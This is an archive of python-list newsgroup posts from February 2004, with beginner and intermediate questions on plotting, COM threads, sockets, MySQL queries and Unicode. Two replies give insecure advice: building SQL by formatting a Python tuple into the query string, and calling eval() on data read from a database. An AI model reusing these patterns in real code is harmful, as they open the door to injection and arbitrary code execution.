wxpython should suffice. Check it out!

Regards,
Srijit

DG <david.grant-NOSPAM at telus.net> wrote in message news:<c1m6vd$sij$2 at rumours.uwaterloo.ca>...
> I'm interesting in finding the ultimate cross-platform python plotting 
> module.  So far I've used scipy.gplt and biggles which both have 
> disadvantages.  There is no python 2.3 binary package for biggles in 
> windows, and scipy.gplt doesn't seem to work with MacMillan's installer 
> in Windows.  I haven't tried py2exe yet.
> 
> I need a plotting program this is:
> -Cross platform (linux and windows) and can build into binary form, or 
> easy to install form on linux and windows.
> -Hopefully still maintained (unlike biggles)
> -Easy to use (like scipy.gplt)
> 
> I wasn't that impressing with the Gnuplot python module, and I haven't 
> tried scipy.plt or chaco yet.
> 
> Alternatively, if someone can tell me some way that I can package my 
> code so that others in Windows can run it.  I just don't want other 
> people to have to download python, Numeric, scipy, and biggles, for 
> example, just to get my code to run.  But if I could easily package all 
> that stuff into one, that would be fine, although the installer would be 
> huge.
> 
> David


From jepler at unpythonic.net  Wed Feb 25 10:07:02 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 25 Feb 2004 09:07:02 -0600
Subject: Memory Leak ['LBBW': checked]
In-Reply-To: <20040225145927.GA25342@unpythonic.net>
References: <OF2B2CB932.A2F52747-ONC1256E45.004A4668-C1256E45.004E91A1@lbbw.sko.de>
	<20040225145927.GA25342@unpythonic.net>
Message-ID: <20040225150702.GB25342@unpythonic.net>

Correction: There's also a syntax for item deletion, "del l[i]"

Jeff



From paul at prescod.net  Sun Feb  1 16:06:00 2004
From: paul at prescod.net (Paul Prescod)
Date: Sun, 01 Feb 2004 13:06:00 -0800
Subject: Python vs. Io
In-Reply-To: <1075659536.765710@yasure>
References: <mailman.1089.1075613103.12720.python-list@python.org>
	<1075659536.765710@yasure>
Message-ID: <401D6A38.9000900@prescod.net>

Donn Cave wrote:

> |> Dog barks //Io
> |> Dog.barks() #Python
> 
>...
> 
> So, how odd that anyone would think of putting the function
> AFTER the object.  Did this come from Forth or something?

Dog is not just the object. It is also the namespace that "barks" comes 
from. Both the computer and the human need to know the namespace before 
they can interpret the meaning of the string "barks" so it seems natural 
to me that it should come first. This is especially true in languages 
like Python and IO where two objects of even the same type could have 
different name->method mappings.

  Paul Prescod





From claird at lairds.com  Wed Feb 18 15:48:09 2004
From: claird at lairds.com (Cameron Laird)
Date: Wed, 18 Feb 2004 20:48:09 -0000
Subject: Another opportunity for improvement? (was: Python Productivity
	Gain?)
References: <mailman.85.1077050044.31398.python-list@python.org>
	<30260531.0402181112.117a525b@posting.google.com>
Message-ID: <1037js91pfg3od0@corp.supernews.com>

In article <30260531.0402181112.117a525b at posting.google.com>,
simo <simoninusa2001 at yahoo.co.uk> wrote:
			.
			.
			.
>So my current favourites are Perl for CGI and Python for
>cross-platform, scriptable-GUI stuff.

What are Perl's advantages for CGI?  Is the Perl language intrinsically
superior for that work, or do you favor the convenience of specific
libraries, or do you mean something different by "CGI" than what I have
in mind, or ...?
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From jepler at unpythonic.net  Sun Feb 29 14:00:56 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Sun, 29 Feb 2004 13:00:56 -0600
Subject: Confused about hasattr/getattr/namespaces
In-Reply-To: <509534af.0402291048.1d681a3f@posting.google.com>
References: <509534af.0402291048.1d681a3f@posting.google.com>
Message-ID: <20040229190055.GC29004@unpythonic.net>

Here's one way:
    def generate(cmd):
        clsname = cmd + "Generator"
        g = globals()
        if g.has_key(clsname): ...
globals() returns the module's dict, not the module.  You could also
    import modulename as self
but this is a kind of circular import, and the re-use of the name "self"
(which will be used in method definitions) smells bad too.

Jeff



From larstra-nospam at ifi.uio.no  Thu Feb 19 08:59:54 2004
From: larstra-nospam at ifi.uio.no (Lars Strand)
Date: 19 Feb 2004 14:59:54 +0100
Subject: IPv6 header on raw sockets?
Message-ID: <86n07ff9ut.fsf@frost.unik.no>


I'm using raw sockets to send ICMPv6 echo/reply packets,
and would like to examine the IP header on the reply packet.

When using raw socket "the IPv6 header and any extension 
headers are never passed to a raw IPv6 socket":

  http://ccl.cnu.ac.kr/~mhkang/raw_sockets.htm

When skimming through the ping6.c, I see that they set some
socket options using setsockopt (IPV6_RECVHOPLIMIT). I have
tried to set

  pingSocket.setsockopt(IPPROTO_IPV6, IPV6_RECVHOPLIMIT, 1)

but it don't work. Is there any way to get the whole IP 
packet when using IPv6 and raw sockets?

-- 
Lars Strand
GnuPG/PGP Key: http://www.gnist.org/~lars/pubkey.asc  ID: 972F4325
"The Internet? Is that thing still around?"  -- Homer Simpson


From bob at redivi.com  Thu Feb 26 03:40:04 2004
From: bob at redivi.com (Bob Ippolito)
Date: Thu, 26 Feb 2004 03:40:04 -0500
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<d8778a53.0402241124.20046541@posting.google.com>
	<15c2d03b.0402250218.3522987b@posting.google.com>
Message-ID: <2004022603400475249%bob@redivicom>

On 2004-02-25 05:18:54 -0500, PPNTWIMBXFFC at spammotel.com (Marco 
Aschwanden) said:

>> I agree with you in all but that tuples are not
>> necessary. Lists are the ones that are actually a
>> hack for speed! :-)
> 
> Did you do some time profiling? I would be interested in the results.
> 
> 
>> 3_ I prefer reading from left to right instead from right
>> to left (it makes the parenthesis less confusing too).
>> Compare to:
>> 
>> count=len(reversed(sorted(appended(lst,3)))).
>> 
>> Maybe I should learn Hebrew :-)
>> Or we could always change it to
>> 
>> $ lst|append -3|sort|reverse|len
>> 
>> (in the end all are just filter patterns :))
> 
> This is an excellent example!
> count = lst.append(3).sort().reverse().len()
> is extremly readable but chaining of method calls is not supported in
> Python. And I can live with it... Python has a more "expressive" path:

You can 'chain method calls' all you want.. what you're missing here is 
a python idiom:  methods that mutate an object shall not return the 
same object.

If the above code were to actually work, then "lst" would contain an 
extra element and be stored in reverse sorted order, while "count" 
would be the number you were trying to extract.  The intent probably 
was not to modify "lst", so this particular idiom just saved you the 
time of debugging your broken code by encouraging you to do it the 
right way the first time.

-bob



From tdelaney at avaya.com  Wed Feb 18 22:55:36 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Thu, 19 Feb 2004 14:55:36 +1100
Subject: How can I waste time ?
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE01377D16@au3010avexu1.global.avaya.com>

> From: Richard Shea
> 
> I'm sure this is a very simple question but I can't find an answer in
> the archives.
> 
> I want my script to pause for a pre-determined number of seconds. How
> do you do that ? I've found 'pause()' although it sounds awfully deep
> for what I want and what's more it doesn't work on W32 (I'm developing
> on W32 but will run on *nix).
> 
> Oh yes one other thing - I could write a loop and keep checking the
> sytem clock but I would prefer for the process to just get out of the
> way to allow others things access to the CPU.
> 
> As I say I'm sure it's dead simple but how ?

time.sleep(secs)

http://www.python.org/doc/current/lib/module-time.html

Tim Delaney



From newsgroups at jhrothjr.com  Sat Feb 14 09:10:43 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sat, 14 Feb 2004 09:10:43 -0500
Subject: Table Oriented Programming
References: <mailman.2.1076613028.31398.python-list@python.org>
	<102nomqgcceleac@news.supernews.com>
	<102o6ost5a80re8@corp.supernews.com>
Message-ID: <102sb35n31uiq23@news.supernews.com>


"Cameron Laird" <claird at lairds.com> wrote in message
news:102o6ost5a80re8 at corp.supernews.com...
> In article <102nomqgcceleac at news.supernews.com>,
> John Roth <newsgroups at jhrothjr.com> wrote:
> .
> .
> .
> >It's an intriguing idea; I've had the occasional thought of
> >wanting an in-memory relational algebra implementation (which
> >is what he's actually specifying once you get him down off of
> >the hobby-horse he's riding.)
> >
> >Put together a package and see whether it flies for real world
> >problems. That's the usual path for inclusion into Python - put a
> >pure Python package together, see if you can get people excited
> >about actually using it, and then propose it for inclusion into the
> >standard library.
> >
> >John Roth
> >
> >
>
> Notable contributor Jean-Claude Wippler is just now releasing some
> <URL: http://www.equi4.com/pipermail/starkit/2004-February/001829.html >
> of his implementations in the area of relational algebra.

It's in TCL. Sigh.

John Roth
> -- 
>
> Cameron Laird <claird at phaseit.net>
> Business:  http://www.Phaseit.net




From junk at microsoft.com  Fri Feb 27 00:02:22 2004
From: junk at microsoft.com (Saravanan D)
Date: Fri, 27 Feb 2004 10:32:22 +0530
Subject: Performance Counters Implementation
Message-ID: <c1mj40$d9t$1@news.mch.sbs.de>

Hello,

I tried the examples in  " Python Programming on Win32" book related to
Python Services & Performance Counters.  But in my PerfMon, performance
objects are not listed.

Could any one help me to solve that problem.

Thanx in Advance.

Saravanan D.

I did the following the steps for registering  Perfmon objects.

* Created Performance registry entry  for the Python service.
* lodctr PipeService2_install.ini



lodctr




From aldo123 at onet.pl  Wed Feb  4 04:18:23 2004
From: aldo123 at onet.pl (mic)
Date: Wed, 4 Feb 2004 10:18:23 +0100
Subject: com wrapper and threads
Message-ID: <bvqe1s$3pk$1@news.atman.pl>

I'm playing with using COM object shared among different threads.
Unfortunately I've come into a problem - I don't know how to properly invoke
com object from external thread. Here comes simplified code I'd like to use:

class ComObjectWrapper:
#this class is by all means needed - of course it's code is much more
complicated than just simply wrapping the COM interface
    def __init__(self):
        self.ComObject = Dispatch(somecom)

    def useCom(self, value):
            self.ComObject.use(value)

class MainThread:
    def __init__(self):
        self.Object = ComObjectWrapper()

    def runChildThread(self):
        CThread = ChildThread(self)
        CThread.start()

class ChildThread(Thread):
    def __init__(self, parent):
        self.Parent = parent

    def run(self):
        #This thread has to use some methods from ComObjectWrapper instance
and it's dispatched COM object
        pythoncom.CoInitialize()
        self.Parent.Object.UseCom() # <--- this generates error
        pythoncom.CoUninitialize()

I was trying to use different combinations of sys.coinit_flags = 0 and
pythoncom.COINIT_MULTITHREADED but without success up till now. I've even
managed to send to child thread proper com reference by using stream
marshalling (as stated in "Python programming for win32"), but still I don't
want to use COM itself but its "wrapper" class. Any enlightening thoughts?

Michal




From deets_noospaam at web.de  Thu Feb  5 17:13:59 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Thu, 05 Feb 2004 23:13:59 +0100
Subject: How to send a file as an argument when running another file in
	Python
References: <ea69a371.0402051339.78b09d69@posting.google.com>
Message-ID: <bvuf77$o0h$07$3@news.t-online.com>

se7en wrote:

> I have this file x.py and I need to execute it with y.met as an
> argument.  Unsure of syntax etc...

import sys
print sys.argv

-- 
Regards,

Diez B. Roggisch


From peter at engcorp.com  Wed Feb 11 14:17:48 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 11 Feb 2004 14:17:48 -0500
Subject: str.find for multiple strings
References: <c0drlj$hsj$1@solaris.cc.vt.edu>
Message-ID: <402A7FDC.8D47A02B@engcorp.com>

Bart Nessux wrote:
> 
> x = str.find(temp, '120.50')
> 
> I am looking for '120.50' '120.51' '122.78' etc. How can I do this with
> just one str.find... I can use re if I must, but I'd like to avoid it if
> possible.

In addition to Fecundo's questions, here's another.  What does "temp"
contain?  A single temperature string, or a temperature embedded in
a bunch of other stuff, or a whole series of temperatures, or what?

-Peter


From madhuananth at hotmail.com  Tue Feb  3 03:59:19 2004
From: madhuananth at hotmail.com (venu gopal)
Date: Tue, 03 Feb 2004 14:29:19 +0530
Subject: Python Dict problems
Message-ID: <BAY10-F46l4ES495Muw0003db47@hotmail.com>

Hello people,
iam finding great difficulty in handling a two-dimentional dictionary or any 
other similar data structure for the following purpose:
from a collection of words,i need to have the count of each word so if i 
use:
                    str=f.getline()
                    for l in range(flen):
                          if subs[l].has_key(str):
                                  subs[l][str]=1
                          else:
                                  subs[l][str]+=1

for this iam getting an error as "Type error:cannot concatenate str + int"
i would be very grateful to the python-list if any one of you could kindly 
help me in solving this problem.

_________________________________________________________________
Easiest Money Transfer to India . Send Money To 6000 Indian Towns. 
http://go.msnserver.com/IN/42198.asp Easiest Way To Send Money Home!




From Greg.Lindstrom at acxiom.com  Mon Feb  9 10:46:14 2004
From: Greg.Lindstrom at acxiom.com (Lindstrom Greg - glinds)
Date: Mon, 9 Feb 2004 09:46:14 -0600
Subject: MSSQL Column Names
Message-ID: <ABEE81BE08ADD311B6A1009027DE908D16A94F8B@conmsx03.corp.acxiom.net>

Hello, List-

1.  Is there a way to search the archives?  I can pull the archives up, but
can't find a way to search for the answer to my next question.

2.  Using MSSQL-0.06, Python 2.3 and Windows, how can I pull the column
names for a given table.

Thanks for your help,
--greg




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named above, and may be legally privileged.
If the reader of this message is not the intended
recipient, you are hereby notified that any dissemination, 
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If you have received this communication in error,
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From Holger.Joukl at LBBW.de  Mon Feb 23 05:08:49 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Mon, 23 Feb 2004 11:08:49 +0100
Subject: Antwort: MySQLDB - generating "...not in (1, 2,
	3)" from Python list ? ['LBBW': checked]
Message-ID: <OF2C769268.763D191B-ONC1256E43.00375C41-C1256E43.0037B45E@lbbw.sko.de>


You could use the str() builtin, returning the string representation of the
list object:

>>> params = (1, 2, 3)
>>> "select * from T where C1 not in %s" % str(params)
'select * from T where C1 not in (1, 2, 3)'
>>>




|---------+--------------------------------------------------->
|         |                                                   |
|         |                                                   |
|         |                                                   |
|         |                                                   |
|         |  richardshea at fastmail.fm (Richard Shea)           |
|         |  Gesendet von:                                    |
|         |  python-list-bounces+holger.joukl=lbbw.de at python.o|
|         |  rg                                               |
|         |                                                   |
|         |                                                   |
|         |  23/02/2004 10:52                                 |
|         |                                                   |
|---------+--------------------------------------------------->
  >------------------------------------------------------------------------------------------------------------------|
  |                                                                                                                  |
  |        An:      python-list at python.org                                                                           |
  |        Kopie:                                                                                                    |
  |        Thema:   MySQLDB - generating "...not in (1,2,3)" from Python list ? ['LBBW': checked]                    |
  >------------------------------------------------------------------------------------------------------------------|




Hi - I've writing a Python script which has a query which looks like
this ...

select * from T where C1 not in (1,2,3)

... C1 is a numeric column so elements of (1,2,3) must not be quoted
like this ('1','2','3') and of course they must not be quoted like
this ('1,2,3').

I'm using 'scanf' style substitution into the SQL, eg ...

cursor.execute("select * from T where C1 not in (%s)",params).


My problem is that the values that need to appear in the bracket are
held in a Python list. At first I thought this was great - just use
'join' with ',' as the second arg but of course join is expecting a
list of strings and if you str() the contents of the list you end up
with ('1','2','3').

Then I tried rolling my own string concatenation but then you end up
with a string or ('1,2,3') which the SQL doesn't like.

So in summary - would anyone be kind enough to tell me, given that I'm
using scanf style SQL subbing, how I can substitute in a comma
delimited list of integers without quotes being put around things to
upset the SQL ?

thanks

richard shea.
--
 http://mail.python.org/mailman/listinfo/python-list



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From claird at lairds.com  Mon Feb  2 11:33:58 2004
From: claird at lairds.com (Cameron Laird)
Date: Mon, 02 Feb 2004 16:33:58 -0000
Subject: How to get my MAC address with python ?
References: <bvlocd$37u$1@news.univ-rennes1.fr>
Message-ID: <101suvm7h62kpba@corp.supernews.com>

In article <bvlocd$37u$1 at news.univ-rennes1.fr>,
olivier Ravard  <ravard at univ-rennes1.fr> wrote:
>Hi,
>
>I want to know the MAC address of my local network card with a python 
>script.
>I tested the socket module which gives only the IP address.
>Is someone have an idea ?
			.
			.
			.
What operating system interests you?
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From gerrit at nl.linux.org  Sun Feb  8 12:37:32 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Sun, 8 Feb 2004 18:37:32 +0100
Subject: string to integer problem
In-Reply-To: <pan.2004.02.08.17.13.43.708339@lolmc.com>
References: <pan.2004.02.08.16.29.02.415446@lolmc.com>
	<c05pur$r2n$05$2@news.t-online.com>
	<pan.2004.02.08.17.13.43.708339@lolmc.com>
Message-ID: <20040208173732.GA23620@nl.linux.org>

Lol McBride wrote:
> On Sun, 08 Feb 2004 18:00:11 +0100, Diez B. Roggisch wrote:
> >>>> s = '(1,10,23,33,35,48)'
> >>>> t = eval(s)
> >>>> print t
> > (1,10,23,33,35,48)
> Hi,
> thanks for this it worked a treat but I don't understand how - even after
> reading the docs for the eval() builtin function.Could you explain what's
> going on (in fairly simple terms as well - I'm a programmer for fun not
> cause it's my job)

Passing a string to 'eval' is equal in having it as a part of an
expression, for example as having in at the right side of an assignment
operator (=), except for the quotes. The string returned happens to be
valid Python syntax: numbers seperated by comma's with ( and ) around it
create a tuple. It is valid to simply onter (1,2,3) at the Python
interactive interpreter: this is why it is valid to pass '(1,2,3)' to
eval. The result is the same.

Hope this helps,
yours,
Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From mwh at python.net  Tue Feb 24 07:28:16 2004
From: mwh at python.net (Michael Hudson)
Date: Tue, 24 Feb 2004 12:28:16 GMT
Subject: python-dev Summary for 2004-01-01 through 2004-01-31
References: <mailman.19.1077587431.8594.python-list@python.org>
	<dOD_b.73966$Wa.29376@news-server.bigpond.net.au>
Message-ID: <m3ishwhdb3.fsf@pc150.maths.bris.ac.uk>

"Neil Hodgson" <nhodgson at bigpond.net.au> writes:

> Brett C.:
> 
> > --------------------------
> > Shutting Unicode errors up
> > --------------------------
> > Enough people have asked for the ability to silence Unicode errors that
> > Martin v. L??wis suggested adding a module attribute in sys to specify
> > whether Unicode errors should be ignored or not.
> 
>    It is particularly appropriate that this item should exhibit a character
> encoding problem. I'm sure Martin doesn't have any characters that weird
> (square root,  partial differential) in his name. Something is wrong in the
> tool chain, but it doesn't look like a simple incorrect charset declaration.
> Maybe reST has a problem with non-ASCII characters.

Um, the article as posted to clpy is hasn't been through docutils
yet... if the mere fact of formatting it as reST caused encoding
problems, that would indeed be a mysterious and deep effect.

Brett's mail contains a header:

X-MIME-Autoconverted: from 8bit to quoted-printable by
	war.OCF.Berkeley.EDU id i1O1oOqk029956

I'd be inclined to blame that.

The summary looks fine on python.org.

Cheers,
mwh

-- 
  ... but I guess there are some things that are so gross you just have
  to forget, or it'll destroy something within you.  perl is the first
  such thing I have known.              -- Erik Naggum, comp.lang.lisp


From brian at sweetapp.com  Tue Feb 10 13:50:50 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Tue, 10 Feb 2004 10:50:50 -0800
Subject: package similar to XML::Simple
In-Reply-To: <40290854.15BB5CF0@engcorp.com>
Message-ID: <0ba401c3f006$cddeb320$0000fea9@dell8200>

Peter:
> Hmm... so it's your opinion that *all* XML parsers must handle *all*
> aspects of XML? 

If it isn't Uche's opinion then it is mine.

> If not, I think you should back off on the criticism
> of PyRXP as being "not an XML parser" and simply point out that it
> doesn't handle all aspects of XML because it is intended to provide
> a very fast/heavily optimized approach to parsing only certain kinds
> of XML.  

Then it is not an XML parser. It is a "foo" parser, where "foo" is subset of
XML.

> It's a valid choice to do so, though of course if PyRXP is
> promoted as a "full" XML solution that might be inaccurate.

I have no problem with the existence of PyRXP. It just isn't an XML parser.

Cheers,
Brian




From hameedkhaan at yahoo.com  Thu Feb 19 02:06:11 2004
From: hameedkhaan at yahoo.com (Hameed Khan)
Date: Wed, 18 Feb 2004 23:06:11 -0800 (PST)
Subject: confusion and problems with first socket script
Message-ID: <20040219070611.53036.qmail@web61104.mail.yahoo.com>

hi all,
   i am getting some problems with my first socket
script. can any one of you point me why this is
happening. the server script suppose to accept one
connection at a time and send countdown to client
connected to it from a function through a separate
thread. and echo all the connections opened and
closed. the client script is working fine. it echoes
the countdown it recieve from server.

### CODE for socketserver.py
import socket, thread
import time, sys

def handConnect(conn):
	for count in xrange(1,11):
		try:
			conn.send(str(conn.getpeername()) + ":
Counting..."+str(count)+"\n")
		except:
			print "Disconnected: ", conn.getpeername(),
sys.exc_info()[1]
			break
		time.sleep(2)
	print "Closing Connection:", conn.getpeername()
	conn.close()


def main():
	host, port = socket.gethostname(), 4786
	serversock = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
	serversock.bind((host,port))
	serversock.listen(1)

# According to documentation the argument to listen()
is the number of connections we can accept at one
time.

	while True:
		conn, addr = serversock.accept()
		print "Client Connected:", addr
		thread.start_new_thread(handConnect, (conn,))


if __name__ == "__main__":
	main()


### Code for socketclient.py
import socket

host, port = socket.gethostname(), 4786
sock = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
sock.connect((host, port))

while True:
	data = sock.recv(60)
	if not data: break
	print "Recieved["+str(sock.getpeername())+"]:", data

print "Socket disconnected"

### End


Problem: when i run two instances of the
socketclien.py i get the following output on the
console window of socketserver.py

### OUTPUT from socketserver.py
D:\Python\workspace\practice\socket>socketserver.py
Client Connected: ('10.10.1.8', 1336)
Client Connected: ('10.10.1.8', 1337)
Disconnected:  ('10.10.1.8', 1337) (10054, 'Connection
reset by peer')
Closing Connection: ('10.10.1.8', 1337)
Disconnected:  ('10.10.1.8', 1336) (10054, 'Connection
reset by peer')
Closing Connection: ('10.10.1.8', 1336)
^C
D:\Python\workspace\practice\socket>
### End of Out put

as you can see two connections have been made at one
after another. and i have specify 1 in listen()
argument then why two clients can connect to it. i am
not good in english and thats why i am sorry if this
mail is long and if there are mistakes of grammar and
spellings. i have few more questions about socket
module and socket scripting, i will ask those
questions in my next mail because this mail is already
long enough. Anyways, Thanks in advance.

Hameed khan.

__________________________________
Do you Yahoo!?
Yahoo! Mail SpamGuard - Read only the mail you want.
http://antispam.yahoo.com/tools



From abakhshi at legato.com  Fri Feb 20 12:12:18 2004
From: abakhshi at legato.com (Ajay Bakhshi)
Date: Fri, 20 Feb 2004 09:12:18 -0800
Subject: Pythons Mcmillan Installer : cannot load shared lib
Message-ID: <96F3EC4BDF504540BB9715CBE9DACB8B085F1818@pa-mail1.legato.com>

Hi,
 
I have Python-2.2.3/
Mcmillian Installer: _5b5_5
System:            HP 11.11   64 bit.
 
Installer + Python were build with 64 bit support (Compiler flag: +DD64)
 
I have a Python file Recover.py that calls "C" functions written in an
extension module. Now these "C" functions (in the shared library) load
another shared library using dlopen. 
 
When I run python Recover.py this works just fine. 
When the same shared library is opened from a "C" executable, that also
works fine.
BUT when I convert Recover.py into an executable (Using Mcmillian Installer:
http://www.mcmillan-inc.com/ <http://www.mcmillan-inc.com/>  - The web site
not working anymore) dlopen gives error.
 
And dlopen gives the following error:
----------------------------------------------------------------------------
-------------------
 Failed to open the library.  Err: './nwsnapmgr//libcl.2' contains a static
TLS refere
nce to '__thread_specific_seg' defined in a dynamically loaded library
'./nwsnapmgr//libcl.
2'. Use +tls=dynamic to re-compile './nwsnapmgr//libcl.2'.
Failed to Load DLL /usr/lib/libssdummy.sl  or Procedure does not exist
----------------------------------------------------------------------------
-------------------
 
 
thanks for any help
-Ajay B
 
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From merkosh at hadiko.de  Mon Feb 23 05:32:30 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Mon, 23 Feb 2004 11:32:30 +0100
Subject: modeling python with UML
Message-ID: <c1ckru$jgu$1@news.rz.uni-karlsruhe.de>

Hi,

I was trying to model some classes, modules and packages of mine with UML
and got the following problem:

Packages would be moduled as UML packages i presume.

If your module contains only functions you can model them as static class
methods, either by writing a dummy class that takes them up or by
representing the file as a class.

However, if you module contains several classes - what do you do then?

Ciao
Uwe


From gandalf at geochemsource.com  Mon Feb 16 01:34:25 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Mon, 16 Feb 2004 07:34:25 +0100
Subject: Site search
Message-ID: <40306471.8070603@geochemsource.com>

Hi All! I need to create a "site search" feature for a website. I would 
like to create a service which could be
pointed to a directory. It should go over all subfolders, read all 
HTML,ASP,PHP,TXT and PDF files, and
create a table indexed by words. The most important would be...

1. It should index PDF files too. (The site contains many datasheets so 
this is curical.)
2. It should not index special keywords inside HTML and PDF file (so if 
somebody would search for "green" then it should only lookup "green 
cables" and "green grass", but not <FONT COLOR="GREEN">)

 Is there a library out there that can do the task for me? I can easily 
do all parts except parsing a file and gather keywords.

Thanks in advance.

   Laci 2.0





From cy.fbp.eryvtvne at ncbybtrglxn.pbz  Tue Feb  3 04:24:18 2004
From: cy.fbp.eryvtvne at ncbybtrglxn.pbz (JZ)
Date: Tue, 03 Feb 2004 10:24:18 +0100
Subject: get logical drives and their type
Message-ID: <e1qu10l0rrj82hfsf2q5hilsuervq50s80@4ax.com>

There are two usefull functions implemented in Windows:
http://msdn.microsoft.com/library/en-us/fileio/base/getdrivetype.asp
http://msdn.microsoft.com/library/en-us/fileio/base/getlogicaldrivestrings.asp

Do anywhone know if they are implemented in Python? I could not find
them in sys, os, os.path...

--
JZ


From bart_nessux at hotmail.com  Fri Feb 20 13:42:22 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Fri, 20 Feb 2004 13:42:22 -0500
Subject: pass string to a os prompt
Message-ID: <c15kee$t1p$1@solaris.cc.vt.edu>

I'm writing a script that does some basic pre-configuration for our new 
Macs (OSX 10.3.2). I'm trying to enable the root account automatically 
with the script, but I don't know how to pass stings to the shell when 
it stops and awaits input. For example,

os.popen('/usr/bin/sudo passwd root')

Cause the OS to respond with:

Password:

How do I pass my current user's password to the prompt? I know that I 
need to store the password in a string in the script, but I don't know 
how to feed it to the waiting shell.

P.S. I know this isn't safe. The script is for config purposes only and 
will be used by sys-support personnel who know the root passwords 
already. This script just *greatly* automates deployment and helps to 
standardise how systems are configured in a lagre environment.

Thanks!



From R.Brodie at rl.ac.uk  Fri Feb 27 08:06:14 2004
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Fri, 27 Feb 2004 13:06:14 -0000
Subject: [newbie] confused about following list assignment
References: <Pine.LNX.4.43.0402271233330.17064-100000@zeon.well.ox.ac.uk>
Message-ID: <c1nfc7$mie@newton.cc.rl.ac.uk>


"Kenny" <kccw at well.ox.ac.uk> wrote in message
news:Pine.LNX.4.43.0402271233330.17064-100000 at zeon.well.ox.ac.uk...

> Can someone explain why all the position zeros are being assigned the same
> value of x?

because a is [ b, b, b, b, b]. This bites almost everyone at some point.
See http://zephyrfalcon.org/labs/python_pitfalls.html for some newbie
traps, particularly section 2.




From dan at ithium.net  Thu Feb  5 06:38:26 2004
From: dan at ithium.net (Dan Williams)
Date: Thu, 5 Feb 2004 11:38:26 -0000
Subject: Print function and spaces
Message-ID: <E1Aohqq-0002pd-95.2004-02-05-11-39-23@tmailb1.svr.pol.co.uk>

Hi people

I'm getting a little annoyed with the way the print function always adds a
space character between print statements unless there has been a new line.
The manual mentions that "In some cases it may be functional to write an
empty string to standard output for this reason." Am I the only the who
thinks that this sucks? It's the first thing I've come across in Python that
I really think is a design flaw.

Is there a good way to stop the space being automatically generated, or am I
going to have to write a blank string to standard output, like the manual
mentions?

Cheers

Dan






From deets_noospaam at web.de  Sun Feb  8 12:00:11 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Sun, 08 Feb 2004 18:00:11 +0100
Subject: string to integer problem
References: <pan.2004.02.08.16.29.02.415446@lolmc.com>
Message-ID: <c05pur$r2n$05$2@news.t-online.com>

> I'm currently having problems with data returned from a MySQL database in
> as much as the data returned is of the form '(1,10,23,33,35,48)' i.e. a
> list variable holding 6 integers returned as a string.

>>> s = '(1,10,23,33,35,48)'
>>> t = eval(s)
>>> print t
(1,10,23,33,35,48)

-- 
Regards,

Diez B. Roggisch


From ivoras at __geri.cc.fer.hr  Mon Feb  9 15:59:36 2004
From: ivoras at __geri.cc.fer.hr (Ivan Voras)
Date: Mon, 09 Feb 2004 21:59:36 +0100
Subject: unicode codecs
Message-ID: <c08sbk$c4u$1@bagan.srce.hr>

When concatenating strings (actually, a constant and a string...) i get 
the following error:

UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 1: 
ordinal not in range(128)

Now I don't think either string is unicode, but I'm working with 
win32api so it might be... :) The point is: I know all values will fit 
in a particular code page (iso-8859-2), so how do I change the 'ascii' 
codec in the above error into something that will work?



From jcarlson at nospam.uci.edu  Sat Feb  7 15:45:35 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 12:45:35 -0800
Subject: where does Python stand?
In-Reply-To: <d99e1341.0402070536.25157d73@posting.google.com>
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
	<bvv37j$8or$1@news.service.uci.edu>
	<d99e1341.0402061439.1f8cebc9@posting.google.com>
	<c01p9a$olv$1@news.service.uci.edu>
	<d99e1341.0402070536.25157d73@posting.google.com>
Message-ID: <c03its$emc$1@news.service.uci.edu>

> I learned Python as part of my university coursework... I enjoyed it.
> Now I'm just wondering how Python compares with asp, jsp, php and what
> not?? I don't have slightest knowledge about these languages... Are
> they more advanced than Python? Can Python be integrated with
> Dreamweaver?

> Someone mentioned Zope. Is it similar to ASP, PHP or JSP? Is it a
> Pythonic version of ASP, JSP?

> I'm kind of lost... There are too many of these acronyms in the
> market.. Need some directions..

> What do you think would be a best design technique that I should
> follow? I know Dreamweaver, Python, Java, JavaScript, CGI using
> python, C, C++... What programming languages do I need to learn in
> order to accomplish my task? If I need to choose between ASP and JSP,
> I'd rather go for JSP cause it'll be easier for me to migrate as I
> don't know much about VB, Jscript and C#.

If you know Dreamweaver, Python, Java, JavaScript, and CGI using Python, 
C, and C++, and you /don't know/ how/where to get started on your 
project...that is some serious indecision.  Pick your favorite language, 
and write your app.

Two years is a lot of time to dedicate to something that has been 
implemented hundreds of times.

  - Josiah


From piet at cs.uu.nl  Wed Feb 25 07:08:27 2004
From: piet at cs.uu.nl (Piet van Oostrum)
Date: 25 Feb 2004 13:08:27 +0100
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>
	<480m30hd68ncg81if70n81h8tict03oda3@4ax.com>
	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
	<mailman.62.1077653810.8594.python-list@python.org>
Message-ID: <wzwu6b4b0k.fsf@ordesa.cs.uu.nl>

